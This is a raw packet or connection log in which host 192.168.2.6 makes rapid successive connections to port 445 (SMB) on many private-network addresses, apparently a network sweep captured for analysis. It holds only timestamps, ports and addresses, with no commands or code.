Jul 6, 2024 14:11:31.976094007 CEST	51701	445	192.168.2.6	192.168.0.248
Jul 6, 2024 14:11:31.976548910 CEST	51699	445	192.168.2.6	192.168.0.249
Jul 6, 2024 14:11:31.979458094 CEST	51704	445	192.168.2.6	192.168.0.250
Jul 6, 2024 14:11:31.980328083 CEST	51705	445	192.168.2.6	192.168.3.31
Jul 6, 2024 14:11:31.981385946 CEST	445	51695	192.168.0.246	192.168.2.6
Jul 6, 2024 14:11:31.981395960 CEST	445	51700	192.168.0.252	192.168.2.6
Jul 6, 2024 14:11:31.981404066 CEST	445	51696	192.168.0.247	192.168.2.6
Jul 6, 2024 14:11:31.981412888 CEST	445	51698	192.168.0.253	192.168.2.6
Jul 6, 2024 14:11:31.981658936 CEST	51702	445	192.168.2.6	192.168.1.128
Jul 6, 2024 14:11:31.981658936 CEST	51702	445	192.168.2.6	192.168.1.128
Jul 6, 2024 14:11:31.982361078 CEST	445	51697	192.168.0.251	192.168.2.6
Jul 6, 2024 14:11:31.982368946 CEST	445	51699	192.168.0.249	192.168.2.6
Jul 6, 2024 14:11:31.982599020 CEST	445	51701	192.168.0.248	192.168.2.6
Jul 6, 2024 14:11:31.982609034 CEST	445	51703	192.168.3.30	192.168.2.6
Jul 6, 2024 14:11:31.983937025 CEST	445	51696	192.168.0.247	192.168.2.6
Jul 6, 2024 14:11:31.983984947 CEST	445	51698	192.168.0.253	192.168.2.6
Jul 6, 2024 14:11:31.984811068 CEST	445	51700	192.168.0.252	192.168.2.6
Jul 6, 2024 14:11:31.984847069 CEST	445	51697	192.168.0.251	192.168.2.6
Jul 6, 2024 14:11:31.985053062 CEST	445	51704	192.168.0.250	192.168.2.6
Jul 6, 2024 14:11:31.985063076 CEST	445	51703	192.168.3.30	192.168.2.6
Jul 6, 2024 14:11:31.985116005 CEST	51703	445	192.168.2.6	192.168.3.30
Jul 6, 2024 14:11:31.985707045 CEST	445	51701	192.168.0.248	192.168.2.6
Jul 6, 2024 14:11:31.985721111 CEST	445	51699	192.168.0.249	192.168.2.6
Jul 6, 2024 14:11:31.986566067 CEST	445	51705	192.168.3.31	192.168.2.6
Jul 6, 2024 14:11:31.987453938 CEST	51705	445	192.168.2.6	192.168.3.31
Jul 6, 2024 14:11:31.987668991 CEST	51704	445	192.168.2.6	192.168.0.250
Jul 6, 2024 14:11:31.987668991 CEST	51704	445	192.168.2.6	192.168.0.250
Jul 6, 2024 14:11:31.989145994 CEST	51706	445	192.168.2.6	192.168.1.129
Jul 6, 2024 14:11:31.992626905 CEST	51705	445	192.168.2.6	192.168.3.31
Jul 6, 2024 14:11:31.994280100 CEST	445	51702	192.168.1.128	192.168.2.6
Jul 6, 2024 14:11:31.994688988 CEST	445	51705	192.168.3.31	192.168.2.6
Jul 6, 2024 14:11:31.994992971 CEST	51708	445	192.168.2.6	192.168.3.32
Jul 6, 2024 14:11:31.995330095 CEST	445	51706	192.168.1.129	192.168.2.6
Jul 6, 2024 14:11:31.996135950 CEST	51706	445	192.168.2.6	192.168.1.129
Jul 6, 2024 14:11:31.996135950 CEST	51706	445	192.168.2.6	192.168.1.129
Jul 6, 2024 14:11:31.997633934 CEST	445	51704	192.168.0.250	192.168.2.6
Jul 6, 2024 14:11:31.997642040 CEST	445	51704	192.168.0.250	192.168.2.6
Jul 6, 2024 14:11:32.003846884 CEST	51707	445	192.168.2.6	192.168.1.130
Jul 6, 2024 14:11:32.003846884 CEST	51702	445	192.168.2.6	192.168.1.128
Jul 6, 2024 14:11:32.004137039 CEST	445	51705	192.168.3.31	192.168.2.6
Jul 6, 2024 14:11:32.004877090 CEST	445	51708	192.168.3.32	192.168.2.6
Jul 6, 2024 14:11:32.004960060 CEST	51705	445	192.168.2.6	192.168.3.31
Jul 6, 2024 14:11:32.006313086 CEST	445	51706	192.168.1.129	192.168.2.6
Jul 6, 2024 14:11:32.006580114 CEST	51706	445	192.168.2.6	192.168.1.129
Jul 6, 2024 14:11:32.007030010 CEST	51708	445	192.168.2.6	192.168.3.32
Jul 6, 2024 14:11:32.007030010 CEST	51708	445	192.168.2.6	192.168.3.32
Jul 6, 2024 14:11:32.007476091 CEST	51710	445	192.168.2.6	192.168.0.254
Jul 6, 2024 14:11:32.007797956 CEST	51709	445	192.168.2.6	192.168.1.1
Jul 6, 2024 14:11:32.009804010 CEST	51712	445	192.168.2.6	192.168.1.131
Jul 6, 2024 14:11:32.009933949 CEST	445	51707	192.168.1.130	192.168.2.6
Jul 6, 2024 14:11:32.012285948 CEST	445	51710	192.168.0.254	192.168.2.6
Jul 6, 2024 14:11:32.012357950 CEST	51710	445	192.168.2.6	192.168.0.254
Jul 6, 2024 14:11:32.012423992 CEST	51710	445	192.168.2.6	192.168.0.254
Jul 6, 2024 14:11:32.013488054 CEST	51711	445	192.168.2.6	192.168.3.33
Jul 6, 2024 14:11:32.016110897 CEST	51707	445	192.168.2.6	192.168.1.130
Jul 6, 2024 14:11:32.016112089 CEST	51707	445	192.168.2.6	192.168.1.130
Jul 6, 2024 14:11:32.016454935 CEST	445	51709	192.168.1.1	192.168.2.6
Jul 6, 2024 14:11:32.017455101 CEST	445	51710	192.168.0.254	192.168.2.6
Jul 6, 2024 14:11:32.021425009 CEST	51709	445	192.168.2.6	192.168.1.1
Jul 6, 2024 14:11:32.021425009 CEST	51709	445	192.168.2.6	192.168.1.1
Jul 6, 2024 14:11:32.021471977 CEST	445	51712	192.168.1.131	192.168.2.6
Jul 6, 2024 14:11:32.021537066 CEST	51712	445	192.168.2.6	192.168.1.131
Jul 6, 2024 14:11:32.022644997 CEST	445	51708	192.168.3.32	192.168.2.6
Jul 6, 2024 14:11:32.024655104 CEST	51714	445	192.168.2.6	192.168.1.132
Jul 6, 2024 14:11:32.024877071 CEST	51712	445	192.168.2.6	192.168.1.131
Jul 6, 2024 14:11:32.026201963 CEST	445	51709	192.168.1.1	192.168.2.6
Jul 6, 2024 14:11:32.027070045 CEST	445	51711	192.168.3.33	192.168.2.6
Jul 6, 2024 14:11:32.029184103 CEST	445	51710	192.168.0.254	192.168.2.6
Jul 6, 2024 14:11:32.029319048 CEST	445	51708	192.168.3.32	192.168.2.6
Jul 6, 2024 14:11:32.029711962 CEST	51708	445	192.168.2.6	192.168.3.32
Jul 6, 2024 14:11:32.029835939 CEST	51715	445	192.168.2.6	192.168.3.34
Jul 6, 2024 14:11:32.030122042 CEST	445	51709	192.168.1.1	192.168.2.6
Jul 6, 2024 14:11:32.030447960 CEST	445	51712	192.168.1.131	192.168.2.6
Jul 6, 2024 14:11:32.030564070 CEST	51712	445	192.168.2.6	192.168.1.131
Jul 6, 2024 14:11:32.030769110 CEST	445	51707	192.168.1.130	192.168.2.6
Jul 6, 2024 14:11:32.030776978 CEST	445	51707	192.168.1.130	192.168.2.6
Jul 6, 2024 14:11:32.031976938 CEST	51713	445	192.168.2.6	192.168.1.2
Jul 6, 2024 14:11:32.031976938 CEST	51711	445	192.168.2.6	192.168.3.33
Jul 6, 2024 14:11:32.031976938 CEST	51711	445	192.168.2.6	192.168.3.33
Jul 6, 2024 14:11:32.034718990 CEST	51707	445	192.168.2.6	192.168.1.130
Jul 6, 2024 14:11:32.034729004 CEST	445	51715	192.168.3.34	192.168.2.6
Jul 6, 2024 14:11:32.036843061 CEST	445	51713	192.168.1.2	192.168.2.6
Jul 6, 2024 14:11:32.036973000 CEST	51715	445	192.168.2.6	192.168.3.34
Jul 6, 2024 14:11:32.037354946 CEST	445	51711	192.168.3.33	192.168.2.6
Jul 6, 2024 14:11:32.038636923 CEST	51715	445	192.168.2.6	192.168.3.34
Jul 6, 2024 14:11:32.039273977 CEST	51717	445	192.168.2.6	192.168.3.35
Jul 6, 2024 14:11:32.039777040 CEST	445	51714	192.168.1.132	192.168.2.6
Jul 6, 2024 14:11:32.040478945 CEST	51713	445	192.168.2.6	192.168.1.2
Jul 6, 2024 14:11:32.040478945 CEST	51713	445	192.168.2.6	192.168.1.2
Jul 6, 2024 14:11:32.040478945 CEST	51711	445	192.168.2.6	192.168.3.33
Jul 6, 2024 14:11:32.043076992 CEST	51716	445	192.168.2.6	192.168.1.133
Jul 6, 2024 14:11:32.044168949 CEST	445	51717	192.168.3.35	192.168.2.6
Jul 6, 2024 14:11:32.044246912 CEST	445	51715	192.168.3.34	192.168.2.6
Jul 6, 2024 14:11:32.045373917 CEST	51715	445	192.168.2.6	192.168.3.34
Jul 6, 2024 14:11:32.045681000 CEST	51714	445	192.168.2.6	192.168.1.132
Jul 6, 2024 14:11:32.045681000 CEST	51714	445	192.168.2.6	192.168.1.132
Jul 6, 2024 14:11:32.046245098 CEST	51717	445	192.168.2.6	192.168.3.35
Jul 6, 2024 14:11:32.046245098 CEST	51717	445	192.168.2.6	192.168.3.35
Jul 6, 2024 14:11:32.048218012 CEST	445	51716	192.168.1.133	192.168.2.6
Jul 6, 2024 14:11:32.049822092 CEST	51716	445	192.168.2.6	192.168.1.133
Jul 6, 2024 14:11:32.049822092 CEST	51716	445	192.168.2.6	192.168.1.133
Jul 6, 2024 14:11:32.054002047 CEST	51719	445	192.168.2.6	192.168.1.3
Jul 6, 2024 14:11:32.054292917 CEST	445	51713	192.168.1.2	192.168.2.6
Jul 6, 2024 14:11:32.054708958 CEST	51718	445	192.168.2.6	192.168.1.5
Jul 6, 2024 14:11:32.055109024 CEST	445	51713	192.168.1.2	192.168.2.6
Jul 6, 2024 14:11:32.055409908 CEST	445	51714	192.168.1.132	192.168.2.6
Jul 6, 2024 14:11:32.055552959 CEST	51720	445	192.168.2.6	192.168.1.134
Jul 6, 2024 14:11:32.056082964 CEST	445	51714	192.168.1.132	192.168.2.6
Jul 6, 2024 14:11:32.058274984 CEST	51714	445	192.168.2.6	192.168.1.132
Jul 6, 2024 14:11:32.059314013 CEST	51721	445	192.168.2.6	192.168.3.36
Jul 6, 2024 14:11:32.063952923 CEST	445	51719	192.168.1.3	192.168.2.6
Jul 6, 2024 14:11:32.064058065 CEST	51719	445	192.168.2.6	192.168.1.3
Jul 6, 2024 14:11:32.064160109 CEST	51719	445	192.168.2.6	192.168.1.3
Jul 6, 2024 14:11:32.066404104 CEST	445	51721	192.168.3.36	192.168.2.6
Jul 6, 2024 14:11:32.066437960 CEST	445	51718	192.168.1.5	192.168.2.6
Jul 6, 2024 14:11:32.066478014 CEST	51721	445	192.168.2.6	192.168.3.36
Jul 6, 2024 14:11:32.066688061 CEST	445	51717	192.168.3.35	192.168.2.6
Jul 6, 2024 14:11:32.066695929 CEST	445	51716	192.168.1.133	192.168.2.6
Jul 6, 2024 14:11:32.067056894 CEST	445	51716	192.168.1.133	192.168.2.6
Jul 6, 2024 14:11:32.067365885 CEST	51721	445	192.168.2.6	192.168.3.36
Jul 6, 2024 14:11:32.068555117 CEST	445	51720	192.168.1.134	192.168.2.6
Jul 6, 2024 14:11:32.068795919 CEST	51718	445	192.168.2.6	192.168.1.5
Jul 6, 2024 14:11:32.068795919 CEST	51718	445	192.168.2.6	192.168.1.5
Jul 6, 2024 14:11:32.068806887 CEST	445	51717	192.168.3.35	192.168.2.6
Jul 6, 2024 14:11:32.069329977 CEST	51716	445	192.168.2.6	192.168.1.133
Jul 6, 2024 14:11:32.069329977 CEST	51720	445	192.168.2.6	192.168.1.134
Jul 6, 2024 14:11:32.069627047 CEST	445	51719	192.168.1.3	192.168.2.6
Jul 6, 2024 14:11:32.069647074 CEST	51717	445	192.168.2.6	192.168.3.35
Jul 6, 2024 14:11:32.069647074 CEST	51722	445	192.168.2.6	192.168.1.4
Jul 6, 2024 14:11:32.069802999 CEST	445	51719	192.168.1.3	192.168.2.6
Jul 6, 2024 14:11:32.069850922 CEST	51719	445	192.168.2.6	192.168.1.3
Jul 6, 2024 14:11:32.071135998 CEST	51724	445	192.168.2.6	192.168.3.37
Jul 6, 2024 14:11:32.071907997 CEST	445	51721	192.168.3.36	192.168.2.6
Jul 6, 2024 14:11:32.072074890 CEST	51721	445	192.168.2.6	192.168.3.36
Jul 6, 2024 14:11:32.072846889 CEST	445	51721	192.168.3.36	192.168.2.6
Jul 6, 2024 14:11:32.075330973 CEST	445	51719	192.168.1.3	192.168.2.6
Jul 6, 2024 14:11:32.075484991 CEST	445	51718	192.168.1.5	192.168.2.6
Jul 6, 2024 14:11:32.075493097 CEST	445	51718	192.168.1.5	192.168.2.6
Jul 6, 2024 14:11:32.076195955 CEST	445	51722	192.168.1.4	192.168.2.6
Jul 6, 2024 14:11:32.076428890 CEST	445	51724	192.168.3.37	192.168.2.6
Jul 6, 2024 14:11:32.076883078 CEST	51723	445	192.168.2.6	192.168.1.135
Jul 6, 2024 14:11:32.077646971 CEST	51722	445	192.168.2.6	192.168.1.4
Jul 6, 2024 14:11:32.077646971 CEST	51722	445	192.168.2.6	192.168.1.4
Jul 6, 2024 14:11:32.077970028 CEST	51720	445	192.168.2.6	192.168.1.134
Jul 6, 2024 14:11:32.079885006 CEST	445	51720	192.168.1.134	192.168.2.6
Jul 6, 2024 14:11:32.082293987 CEST	51720	445	192.168.2.6	192.168.1.134
Jul 6, 2024 14:11:32.082437992 CEST	445	51722	192.168.1.4	192.168.2.6
Jul 6, 2024 14:11:32.082763910 CEST	51724	445	192.168.2.6	192.168.3.37
Jul 6, 2024 14:11:32.082763910 CEST	51724	445	192.168.2.6	192.168.3.37
Jul 6, 2024 14:11:32.083714008 CEST	445	51720	192.168.1.134	192.168.2.6
Jul 6, 2024 14:11:32.088643074 CEST	51725	445	192.168.2.6	192.168.1.136
Jul 6, 2024 14:11:32.088643074 CEST	51726	445	192.168.2.6	192.168.3.38
Jul 6, 2024 14:11:32.090457916 CEST	445	51723	192.168.1.135	192.168.2.6
Jul 6, 2024 14:11:32.090526104 CEST	51723	445	192.168.2.6	192.168.1.135
Jul 6, 2024 14:11:32.100528002 CEST	51723	445	192.168.2.6	192.168.1.135
Jul 6, 2024 14:11:32.101174116 CEST	51727	445	192.168.2.6	192.168.1.6
Jul 6, 2024 14:11:32.101238966 CEST	51728	445	192.168.2.6	192.168.1.7
Jul 6, 2024 14:11:32.101322889 CEST	51729	445	192.168.2.6	192.168.1.8
Jul 6, 2024 14:11:32.102333069 CEST	51730	445	192.168.2.6	192.168.3.39
Jul 6, 2024 14:11:32.102396011 CEST	51731	445	192.168.2.6	192.168.1.137
Jul 6, 2024 14:11:32.116394997 CEST	445	51724	192.168.3.37	192.168.2.6
Jul 6, 2024 14:11:32.116451979 CEST	51724	445	192.168.2.6	192.168.3.37
Jul 6, 2024 14:11:32.117032051 CEST	445	51725	192.168.1.136	192.168.2.6
Jul 6, 2024 14:11:32.117043018 CEST	445	51726	192.168.3.38	192.168.2.6
Jul 6, 2024 14:11:32.117113113 CEST	51725	445	192.168.2.6	192.168.1.136
Jul 6, 2024 14:11:32.117441893 CEST	445	51727	192.168.1.6	192.168.2.6
Jul 6, 2024 14:11:32.117451906 CEST	445	51728	192.168.1.7	192.168.2.6
Jul 6, 2024 14:11:32.117460966 CEST	445	51729	192.168.1.8	192.168.2.6
Jul 6, 2024 14:11:32.117472887 CEST	445	51730	192.168.3.39	192.168.2.6
Jul 6, 2024 14:11:32.117523909 CEST	51727	445	192.168.2.6	192.168.1.6
Jul 6, 2024 14:11:32.117541075 CEST	445	51731	192.168.1.137	192.168.2.6
Jul 6, 2024 14:11:32.117618084 CEST	51730	445	192.168.2.6	192.168.3.39
Jul 6, 2024 14:11:32.117618084 CEST	51727	445	192.168.2.6	192.168.1.6
Jul 6, 2024 14:11:32.117769957 CEST	51730	445	192.168.2.6	192.168.3.39
Jul 6, 2024 14:11:32.118201017 CEST	51731	445	192.168.2.6	192.168.1.137
Jul 6, 2024 14:11:32.118201017 CEST	51731	445	192.168.2.6	192.168.1.137
Jul 6, 2024 14:11:32.118299961 CEST	51732	445	192.168.2.6	192.168.1.138
Jul 6, 2024 14:11:32.119102955 CEST	445	51723	192.168.1.135	192.168.2.6
Jul 6, 2024 14:11:32.120225906 CEST	51726	445	192.168.2.6	192.168.3.38
Jul 6, 2024 14:11:32.120225906 CEST	51725	445	192.168.2.6	192.168.1.136
Jul 6, 2024 14:11:32.120225906 CEST	51726	445	192.168.2.6	192.168.3.38
Jul 6, 2024 14:11:32.120225906 CEST	51728	445	192.168.2.6	192.168.1.7
Jul 6, 2024 14:11:32.120225906 CEST	51728	445	192.168.2.6	192.168.1.7
Jul 6, 2024 14:11:32.121660948 CEST	445	51723	192.168.1.135	192.168.2.6
Jul 6, 2024 14:11:32.123874903 CEST	51733	445	192.168.2.6	192.168.3.40
Jul 6, 2024 14:11:32.124614954 CEST	51729	445	192.168.2.6	192.168.1.8
Jul 6, 2024 14:11:32.124614954 CEST	51729	445	192.168.2.6	192.168.1.8
Jul 6, 2024 14:11:32.128777027 CEST	51723	445	192.168.2.6	192.168.1.135
Jul 6, 2024 14:11:32.129755020 CEST	445	51727	192.168.1.6	192.168.2.6
Jul 6, 2024 14:11:32.129765034 CEST	445	51732	192.168.1.138	192.168.2.6
Jul 6, 2024 14:11:32.129829884 CEST	445	51728	192.168.1.7	192.168.2.6
Jul 6, 2024 14:11:32.129832983 CEST	51732	445	192.168.2.6	192.168.1.138
Jul 6, 2024 14:11:32.129838943 CEST	445	51727	192.168.1.6	192.168.2.6
Jul 6, 2024 14:11:32.129944086 CEST	51732	445	192.168.2.6	192.168.1.138
Jul 6, 2024 14:11:32.130228043 CEST	445	51730	192.168.3.39	192.168.2.6
Jul 6, 2024 14:11:32.130287886 CEST	51730	445	192.168.2.6	192.168.3.39
Jul 6, 2024 14:11:32.131273985 CEST	445	51725	192.168.1.136	192.168.2.6
Jul 6, 2024 14:11:32.131472111 CEST	445	51726	192.168.3.38	192.168.2.6
Jul 6, 2024 14:11:32.131481886 CEST	445	51728	192.168.1.7	192.168.2.6
Jul 6, 2024 14:11:32.133270025 CEST	51734	445	192.168.2.6	192.168.3.41
Jul 6, 2024 14:11:32.134136915 CEST	445	51733	192.168.3.40	192.168.2.6
Jul 6, 2024 14:11:32.134797096 CEST	445	51729	192.168.1.8	192.168.2.6
Jul 6, 2024 14:11:32.135792017 CEST	51733	445	192.168.2.6	192.168.3.40
Jul 6, 2024 14:11:32.135792017 CEST	51733	445	192.168.2.6	192.168.3.40
Jul 6, 2024 14:11:32.136986017 CEST	445	51731	192.168.1.137	192.168.2.6
Jul 6, 2024 14:11:32.138015985 CEST	445	51729	192.168.1.8	192.168.2.6
Jul 6, 2024 14:11:32.138025045 CEST	445	51731	192.168.1.137	192.168.2.6
Jul 6, 2024 14:11:32.138184071 CEST	51729	445	192.168.2.6	192.168.1.8
Jul 6, 2024 14:11:32.138523102 CEST	445	51734	192.168.3.41	192.168.2.6
Jul 6, 2024 14:11:32.138585091 CEST	51734	445	192.168.2.6	192.168.3.41
Jul 6, 2024 14:11:32.138660908 CEST	51734	445	192.168.2.6	192.168.3.41
Jul 6, 2024 14:11:32.138747931 CEST	445	51732	192.168.1.138	192.168.2.6
Jul 6, 2024 14:11:32.141171932 CEST	51735	445	192.168.2.6	192.168.1.139
Jul 6, 2024 14:11:32.141171932 CEST	51731	445	192.168.2.6	192.168.1.137
Jul 6, 2024 14:11:32.141382933 CEST	445	51732	192.168.1.138	192.168.2.6
Jul 6, 2024 14:11:32.142631054 CEST	445	51733	192.168.3.40	192.168.2.6
Jul 6, 2024 14:11:32.143141031 CEST	51733	445	192.168.2.6	192.168.3.40
Jul 6, 2024 14:11:32.143877029 CEST	445	51729	192.168.1.8	192.168.2.6
Jul 6, 2024 14:11:32.143929958 CEST	445	51734	192.168.3.41	192.168.2.6
Jul 6, 2024 14:11:32.143974066 CEST	51734	445	192.168.2.6	192.168.3.41
Jul 6, 2024 14:11:32.146964073 CEST	445	51735	192.168.1.139	192.168.2.6
Jul 6, 2024 14:11:32.147270918 CEST	51732	445	192.168.2.6	192.168.1.138
Jul 6, 2024 14:11:32.149251938 CEST	51737	445	192.168.2.6	192.168.3.42
Jul 6, 2024 14:11:32.149656057 CEST	51735	445	192.168.2.6	192.168.1.139
Jul 6, 2024 14:11:32.149656057 CEST	51735	445	192.168.2.6	192.168.1.139
Jul 6, 2024 14:11:32.149935961 CEST	51725	445	192.168.2.6	192.168.1.136
Jul 6, 2024 14:11:32.149936914 CEST	51726	445	192.168.2.6	192.168.3.38
Jul 6, 2024 14:11:32.149936914 CEST	51736	445	192.168.2.6	192.168.1.140
Jul 6, 2024 14:11:32.163027048 CEST	445	51737	192.168.3.42	192.168.2.6
Jul 6, 2024 14:11:32.163100958 CEST	51737	445	192.168.2.6	192.168.3.42
Jul 6, 2024 14:11:32.163395882 CEST	445	51736	192.168.1.140	192.168.2.6
Jul 6, 2024 14:11:32.164099932 CEST	51737	445	192.168.2.6	192.168.3.42
Jul 6, 2024 14:11:32.166511059 CEST	445	51735	192.168.1.139	192.168.2.6
Jul 6, 2024 14:11:32.166639090 CEST	51735	445	192.168.2.6	192.168.1.139
Jul 6, 2024 14:11:32.167757988 CEST	51736	445	192.168.2.6	192.168.1.140
Jul 6, 2024 14:11:32.168708086 CEST	445	51737	192.168.3.42	192.168.2.6
Jul 6, 2024 14:11:32.169648886 CEST	445	51737	192.168.3.42	192.168.2.6
Jul 6, 2024 14:11:32.174695015 CEST	51738	445	192.168.2.6	192.168.3.43
Jul 6, 2024 14:11:32.178956985 CEST	51741	445	192.168.2.6	192.168.1.13
Jul 6, 2024 14:11:32.179639101 CEST	445	51738	192.168.3.43	192.168.2.6
Jul 6, 2024 14:11:32.179884911 CEST	51738	445	192.168.2.6	192.168.3.43
Jul 6, 2024 14:11:32.179960012 CEST	51738	445	192.168.2.6	192.168.3.43
Jul 6, 2024 14:11:32.181051970 CEST	51743	445	192.168.2.6	192.168.3.44
Jul 6, 2024 14:11:32.183193922 CEST	51740	445	192.168.2.6	192.168.1.9
Jul 6, 2024 14:11:32.183890104 CEST	445	51741	192.168.1.13	192.168.2.6
Jul 6, 2024 14:11:32.185520887 CEST	51741	445	192.168.2.6	192.168.1.13
Jul 6, 2024 14:11:32.185520887 CEST	51741	445	192.168.2.6	192.168.1.13
Jul 6, 2024 14:11:32.186598063 CEST	445	51738	192.168.3.43	192.168.2.6
Jul 6, 2024 14:11:32.186623096 CEST	51739	445	192.168.2.6	192.168.1.141
Jul 6, 2024 14:11:32.186623096 CEST	51742	445	192.168.2.6	192.168.1.142
Jul 6, 2024 14:11:32.189007044 CEST	445	51743	192.168.3.44	192.168.2.6
Jul 6, 2024 14:11:32.190834999 CEST	445	51741	192.168.1.13	192.168.2.6
Jul 6, 2024 14:11:32.193233013 CEST	445	51739	192.168.1.141	192.168.2.6
Jul 6, 2024 14:11:32.193397999 CEST	445	51742	192.168.1.142	192.168.2.6
Jul 6, 2024 14:11:32.193670988 CEST	51743	445	192.168.2.6	192.168.3.44
Jul 6, 2024 14:11:32.194962978 CEST	445	51738	192.168.3.43	192.168.2.6
Jul 6, 2024 14:11:32.195019960 CEST	51738	445	192.168.2.6	192.168.3.43
Jul 6, 2024 14:11:32.195245028 CEST	51736	445	192.168.2.6	192.168.1.140
Jul 6, 2024 14:11:32.196866035 CEST	51748	445	192.168.2.6	192.168.1.143
Jul 6, 2024 14:11:32.197243929 CEST	51743	445	192.168.2.6	192.168.3.44
Jul 6, 2024 14:11:32.197674036 CEST	445	51740	192.168.1.9	192.168.2.6
Jul 6, 2024 14:11:32.197695017 CEST	51739	445	192.168.2.6	192.168.1.141
Jul 6, 2024 14:11:32.197695017 CEST	51742	445	192.168.2.6	192.168.1.142
Jul 6, 2024 14:11:32.197695017 CEST	51742	445	192.168.2.6	192.168.1.142
Jul 6, 2024 14:11:32.198476076 CEST	445	51741	192.168.1.13	192.168.2.6
Jul 6, 2024 14:11:32.200287104 CEST	445	51736	192.168.1.140	192.168.2.6
Jul 6, 2024 14:11:32.201116085 CEST	51740	445	192.168.2.6	192.168.1.9
Jul 6, 2024 14:11:32.201116085 CEST	51740	445	192.168.2.6	192.168.1.9
Jul 6, 2024 14:11:32.202459097 CEST	445	51736	192.168.1.140	192.168.2.6
Jul 6, 2024 14:11:32.203088045 CEST	51744	445	192.168.2.6	192.168.1.10
Jul 6, 2024 14:11:32.203088045 CEST	51746	445	192.168.2.6	192.168.1.11
Jul 6, 2024 14:11:32.203088045 CEST	51749	445	192.168.2.6	192.168.3.45
Jul 6, 2024 14:11:32.206244946 CEST	445	51748	192.168.1.143	192.168.2.6
Jul 6, 2024 14:11:32.206736088 CEST	51748	445	192.168.2.6	192.168.1.143
Jul 6, 2024 14:11:32.206836939 CEST	51748	445	192.168.2.6	192.168.1.143
Jul 6, 2024 14:11:32.208461046 CEST	445	51743	192.168.3.44	192.168.2.6
Jul 6, 2024 14:11:32.208718061 CEST	51743	445	192.168.2.6	192.168.3.44
Jul 6, 2024 14:11:32.209831953 CEST	445	51744	192.168.1.10	192.168.2.6
Jul 6, 2024 14:11:32.209840059 CEST	445	51746	192.168.1.11	192.168.2.6
Jul 6, 2024 14:11:32.209847927 CEST	445	51749	192.168.3.45	192.168.2.6
Jul 6, 2024 14:11:32.211265087 CEST	51739	445	192.168.2.6	192.168.1.141
Jul 6, 2024 14:11:32.211265087 CEST	51747	445	192.168.2.6	192.168.1.15
Jul 6, 2024 14:11:32.211689949 CEST	51751	445	192.168.2.6	192.168.1.144
Jul 6, 2024 14:11:32.214147091 CEST	445	51740	192.168.1.9	192.168.2.6
Jul 6, 2024 14:11:32.215639114 CEST	445	51748	192.168.1.143	192.168.2.6
Jul 6, 2024 14:11:32.215897083 CEST	51744	445	192.168.2.6	192.168.1.10
Jul 6, 2024 14:11:32.215897083 CEST	51746	445	192.168.2.6	192.168.1.11
Jul 6, 2024 14:11:32.215897083 CEST	51749	445	192.168.2.6	192.168.3.45
Jul 6, 2024 14:11:32.215897083 CEST	51744	445	192.168.2.6	192.168.1.10
Jul 6, 2024 14:11:32.215897083 CEST	51746	445	192.168.2.6	192.168.1.11
Jul 6, 2024 14:11:32.215897083 CEST	51750	445	192.168.2.6	192.168.3.46
Jul 6, 2024 14:11:32.216134071 CEST	51745	445	192.168.2.6	192.168.1.12
Jul 6, 2024 14:11:32.216164112 CEST	445	51740	192.168.1.9	192.168.2.6
Jul 6, 2024 14:11:32.216181993 CEST	445	51748	192.168.1.143	192.168.2.6
Jul 6, 2024 14:11:32.216912031 CEST	445	51747	192.168.1.15	192.168.2.6
Jul 6, 2024 14:11:32.216969967 CEST	51748	445	192.168.2.6	192.168.1.143
Jul 6, 2024 14:11:32.216985941 CEST	445	51751	192.168.1.144	192.168.2.6
Jul 6, 2024 14:11:32.217032909 CEST	51751	445	192.168.2.6	192.168.1.144
Jul 6, 2024 14:11:32.217120886 CEST	51751	445	192.168.2.6	192.168.1.144
Jul 6, 2024 14:11:32.217219114 CEST	445	51739	192.168.1.141	192.168.2.6
Jul 6, 2024 14:11:32.217588902 CEST	445	51742	192.168.1.142	192.168.2.6
Jul 6, 2024 14:11:32.221740007 CEST	445	51744	192.168.1.10	192.168.2.6
Jul 6, 2024 14:11:32.221788883 CEST	445	51746	192.168.1.11	192.168.2.6
Jul 6, 2024 14:11:32.221797943 CEST	445	51750	192.168.3.46	192.168.2.6
Jul 6, 2024 14:11:32.221852064 CEST	51750	445	192.168.2.6	192.168.3.46
Jul 6, 2024 14:11:32.222279072 CEST	445	51744	192.168.1.10	192.168.2.6
Jul 6, 2024 14:11:32.222686052 CEST	445	51751	192.168.1.144	192.168.2.6
Jul 6, 2024 14:11:32.222979069 CEST	445	51746	192.168.1.11	192.168.2.6
Jul 6, 2024 14:11:32.223452091 CEST	445	51749	192.168.3.45	192.168.2.6
Jul 6, 2024 14:11:32.224272966 CEST	445	51751	192.168.1.144	192.168.2.6
Jul 6, 2024 14:11:32.224389076 CEST	51751	445	192.168.2.6	192.168.1.144
Jul 6, 2024 14:11:32.224684954 CEST	51747	445	192.168.2.6	192.168.1.15
Jul 6, 2024 14:11:32.224684954 CEST	51747	445	192.168.2.6	192.168.1.15
Jul 6, 2024 14:11:32.224684954 CEST	51739	445	192.168.2.6	192.168.1.141
Jul 6, 2024 14:11:32.224684954 CEST	51742	445	192.168.2.6	192.168.1.142
Jul 6, 2024 14:11:32.226281881 CEST	51749	445	192.168.2.6	192.168.3.45
Jul 6, 2024 14:11:32.226281881 CEST	51750	445	192.168.2.6	192.168.3.46
Jul 6, 2024 14:11:32.226281881 CEST	51749	445	192.168.2.6	192.168.3.45
Jul 6, 2024 14:11:32.227077961 CEST	51753	445	192.168.2.6	192.168.1.145
Jul 6, 2024 14:11:32.228255987 CEST	445	51750	192.168.3.46	192.168.2.6
Jul 6, 2024 14:11:32.228456020 CEST	445	51745	192.168.1.12	192.168.2.6
Jul 6, 2024 14:11:32.228859901 CEST	51750	445	192.168.2.6	192.168.3.46
Jul 6, 2024 14:11:32.229500055 CEST	51736	445	192.168.2.6	192.168.1.140
Jul 6, 2024 14:11:32.229500055 CEST	51745	445	192.168.2.6	192.168.1.12
Jul 6, 2024 14:11:32.229500055 CEST	51745	445	192.168.2.6	192.168.1.12
Jul 6, 2024 14:11:32.232336998 CEST	445	51750	192.168.3.46	192.168.2.6
Jul 6, 2024 14:11:32.232346058 CEST	445	51749	192.168.3.45	192.168.2.6
Jul 6, 2024 14:11:32.232667923 CEST	51754	445	192.168.2.6	192.168.3.47
Jul 6, 2024 14:11:32.232866049 CEST	445	51753	192.168.1.145	192.168.2.6
Jul 6, 2024 14:11:32.233160973 CEST	51752	445	192.168.2.6	192.168.1.14
Jul 6, 2024 14:11:32.234600067 CEST	51753	445	192.168.2.6	192.168.1.145
Jul 6, 2024 14:11:32.234690905 CEST	51753	445	192.168.2.6	192.168.1.145
Jul 6, 2024 14:11:32.237489939 CEST	445	51754	192.168.3.47	192.168.2.6
